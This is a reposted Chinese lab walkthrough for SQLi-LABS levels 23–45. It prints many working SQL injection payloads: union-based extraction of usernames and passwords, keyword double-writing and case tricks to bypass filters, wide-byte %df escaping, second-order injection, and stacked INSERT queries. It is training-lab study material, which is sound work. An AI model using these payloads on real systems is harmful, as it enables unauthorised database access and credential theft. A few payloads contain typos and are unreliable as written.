当前位置: 首页 > news >正文

打靶日记-SQLi-LABS(二)

Level23

先输入?id=1' 发现报错,是单引号闭合,但是使用--+或者#注释时,依然报错,这一关应该是过滤了注释符,换个方式

?id=0' union select 1,2,3 and '1'='1 闭合查询语句得到回显位

接下来常规操作

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()and '1'='1

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' and '1'='1

?id=0' union select 1,2,group_concat(password,username) from users and '1'='1

这条语句会报错,union select后的列定义应是 “字段或表达式”,而from users是表级别的查询条件,不能直接作为列的一部分,会被 MySQL 判定为语法错误(类似 “在列定义中出现表名”)。这里再多说一点

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

这一条语句为什么不会出现上面的问题,因为

from users:这是整个union select子句的数据源声明,明确指定 “第三列的字段要从users表中获取”,作用于整个select 1,2,group_concat(...)查询,而非第三列的一部分,在报错语句中的and '1'='1破坏了from子句的语法完整性

(ai给出的解释,如有错请指正)

使用下面语句即可成功查询

?id=-1' union select 1,(select group_concat(username,password ) from users),3  and  '1' = '1

Level24

这一关主要讲二次注入,之前没接触过这里参考文章SQL注入:二次注入-CSDN博客

可以跟着文章复现一下,这里先创建两个用户:

用户名 001,密码 1

用户名 001'#  密码 2

登入001'#的账号,修改密码,把密码修改为a,当我们再次登录是发现登入失败,使用001账户时却登入成功,也就是在001'#的账户修改了001的密码。

代码中没有任何前端输入过滤或验证(如限制特殊字符、检查用户名长度等),允许用户输入包含 SQL 特殊字符(如单引号'、注释符#等)的内容,在修改密码时没有对username进行转义直接拼接进sql语句,恶意用户名会被拼接到 SQL 中。

Level25

这一关已经提示过滤了or 和and,双写绕过

?id=1' oorrder by 4--+

?id=0' union select 1,2,3--+

?id=0' union select 1,2, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

?id=0' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema=database()--+

?id=0' union select 1,2,group_concat(passwoorrd) from users--+

Level26

这一关过滤了空格,注释符,斜杠

这里使用()绕过

?id=1' aandnd(updatexml(1,concat(0x7e,database(),0x7e),1))aandnd'1'='1

?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)) aandnd '1'='1

?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())aandnd(table_name='users')),0x7e),1)) aandnd '1'='1

?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1)) aandnd '1'='1

Level27

这一关过滤了union select 还有注释符和空格,这个可以使用双写绕过,或者大写绕过

union->ununionion

select->selecselectt

这里尝试union能绕过,但是select不能绕过,被做局了???

这里使用大小写绕过

?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)%09and'1'='1

?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='users')),0x7e),1)%09and'1'='1

?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(username))from(users)),0x7e),1)%09and'1'='1

Level28

使用?id=1');%00判断得到是')闭合,我这一关看了源码

// connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row)
{echo "<font size='5' color= '#99FF00'>";  echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else 
{echo '<font color= "#FFFF00">';//print_r(mysql_error());echo "</font>";  
}
}else { echo "Please input the ID as parameter with numeric value";}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);         //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}

这一关是过滤了union select这一个组合,可以利用union all select绕过。payload如下

?id=0')%09union%09all%09select%091,2,database();%00

?id=0')%09union%09all%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where(table_schema=database());%00

?id=0')%09union%09all%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where(table_name='users')and(table_schema=database());%00

?id=0')%09union%09all%09select%091,2,group_concat(username)%09from%09users;%00

Level29

这一关就比较简单正常注入就行。

?id=0' union selct 1,2,group_cocnat(table_name) from information_schema.tables where table_schema=database()--+

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+ 

?id=0' union select 1,2,group_concat(username) from users--+

Level30

这一关是双引号闭合,payload基本同上,不再多说。

Level31

这一关是")闭合,payload基本同上,不再多说。

Level32

这里输入?id=1'

可以看到这里有个反斜杠,原来的查询语句

select * from users where id='$id'

当输入?id=1',查询语句为

select * from users where id='1\''

这里被转义了那个单引号被当做字符,

输入?id=1%df'

%df5c属于gbk2字节编码范围,会被编码为運,就是如图显示的乱码。此时的查询语句就是

select * from users where id='1運'' limit 0,1

这时就会报错.接下来就是常规操作

?id=0%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

这里用到单引号会被转义,换种方式十六进制转换

users的十六进制是 0x7573657273

?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()--+

?id=0%df' union select 1,2,group_concat(username) from users--+

Level33

跟上一关payload一样。

Level34

这一关是post注入,抓包测试得列数是2,

uname=a%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=a&submit=Submit

uname=a%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&passwd=a&submit=Submit

uname=a%df'union select 1,group_concat(username) from users--+&passwd=a&submit=Submit

Level35

经过判断是数字型闭合,payload如下

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

?id=0 union select 1,2,group_concat(username) from users

Level36

常规操作

?id=0%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

?id=0%df' union select 1,2,group_concat(username) from users--+

Level37

常规操作

uname=a%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=a&submit=Submit

uname=a%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&passwd=a&submit=Submit

uname=a%df'union select 1,group_concat(username) from users--+&passwd=a&submit=Submit

Level38

这一关考察时堆叠注入,首先先正常注入

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

?id=0' union select 1,2,group_concat(username) from users--+

然后在使用堆叠注入插入一条数据

?id=1';insert into users(id,username,password) values('66','2','3')--+

再查询一下

?id=0' union select 1,2,group_concat(username) from users--+

Level39

同上,经判断是数字型闭合,插入即可

?id=1;insert into users(id,username,password) values('67','a','b')--+

新建成功😎

Level40

进过判断是')闭合。步骤同上

Level41

同39,是数字型

Level42

这里尝试新建用户发现不行,

在尝试登入是username应该是有字符过滤,在密码框中发现注入点

0' union select 1,database(),2;--+

0' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database();--+

0' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users';--+

0' union select 1,group_concat(username),2 from users;--+

插入信息

1';insert into users(id,username,password) values('69','k','l');--+

Level43

单引号括号闭合,payload参考上一题

Level44

这一题没有报错回显,只能一个一试。测试得到是单引号闭合,步骤同42

Level45

尝试得到是')闭合,步骤同上


文章转载自:

http://fsIU5Tdx.qnxzx.cn
http://MSJdcxEv.qnxzx.cn
http://nTsokd0U.qnxzx.cn
http://n10WVKKs.qnxzx.cn
http://BehlF0zt.qnxzx.cn
http://8ipddrtc.qnxzx.cn
http://wFpGrfmw.qnxzx.cn
http://NWzef9sU.qnxzx.cn
http://heaatDqc.qnxzx.cn
http://yv9YMxXx.qnxzx.cn
http://If9RgvfJ.qnxzx.cn
http://XQPEnkMt.qnxzx.cn
http://59MQMZpD.qnxzx.cn
http://wvPwR1xi.qnxzx.cn
http://6KsjKSW7.qnxzx.cn
http://YDl7ynGD.qnxzx.cn
http://YF2EBoze.qnxzx.cn
http://uxengdyT.qnxzx.cn
http://0rZwdaUu.qnxzx.cn
http://8ANbQsl4.qnxzx.cn
http://iVOUj3cT.qnxzx.cn
http://mJhULQiI.qnxzx.cn
http://6h8GvqnF.qnxzx.cn
http://r6vHwyzR.qnxzx.cn
http://SecYSuS5.qnxzx.cn
http://geMeMUII.qnxzx.cn
http://BcNyskr7.qnxzx.cn
http://RVh3VXT8.qnxzx.cn
http://uwQzzAL6.qnxzx.cn
http://qjXGCxon.qnxzx.cn
http://www.dtcms.com/a/364826.html

相关文章:

  • LeetCode 3132.找出与数组相加的整数2
  • 金融行业数智化转型:如何用企业微信AI实现高效内部协作与外部服务?
  • MCP(Model Context Protocol)介绍
  • 【54页PPT】基于DeepSeek的数据治理技术(附下载方式)
  • MySQL安装(如果之前有安装过MySQL,先执行下面的卸载流程)
  • Photoshop - Photoshop 触控手势
  • 网络安全A模块专项练习任务十一解析
  • Kubernetes 中为 ZenTao 的 Apache 服务器添加请求体大小限制
  • 02-Media-3-audio.py 音频输入输出,录音、播放、实时回放演示
  • nestjs 阿里云服务端签名
  • Spring boot3.x整合mybatis-plus踩坑记录
  • Ansible 核心配置与任务管理:主机清单、剧本,任务的导入、配置并行
  • Jenkins-Ansible部署discuz论坛
  • 如何利用SMS、RDS把服务从阿里云迁移到华为云
  • 嵌入式高薪岗位有哪些?
  • 惠普HP Color LaserJet Pro MFP M277dw打印有横条维修案例1
  • 【10月优质EI会议合集|高录用】能源、机电一体化、材料、计算机、环境、电力、可再生资源、遥感、通讯、智慧交通...
  • SCN随机配置网络时间序列预测Matlab实现
  • 执行一条select语句期间发生了什么?
  • Java设计模式之结构型—代理模式
  • 从Java全栈到前端框架:一次真实的面试对话
  • 504 Gateway Timeout:服务器作为网关或代理时未能及时获得响应如何处理?
  • 找Jenkins代替工具,可以体验下这款国产开源CICD工具
  • 通过SpringCloud Gateway实现API接口镜像请求(陪跑)网关功能
  • 数据库高可用全方案:Keepalived 故障切换 + LVS (DR) 模式 + MariaDB 主主同步实战案例
  • Web 集群高可用全方案:Keepalived+LVS (DR) 负载均衡 + Apache 服务 + NFS 共享存储搭建指南
  • TensorFlow的Yes/No 关键词识别模型训练
  • 从零开始的python学习——列表
  • VUE的模版渲染过程
  • 京东一面:假如Redis里面有1亿个key,其中有10w个key是以某个固定的已知的前缀开头的,如何将它们全部找出来?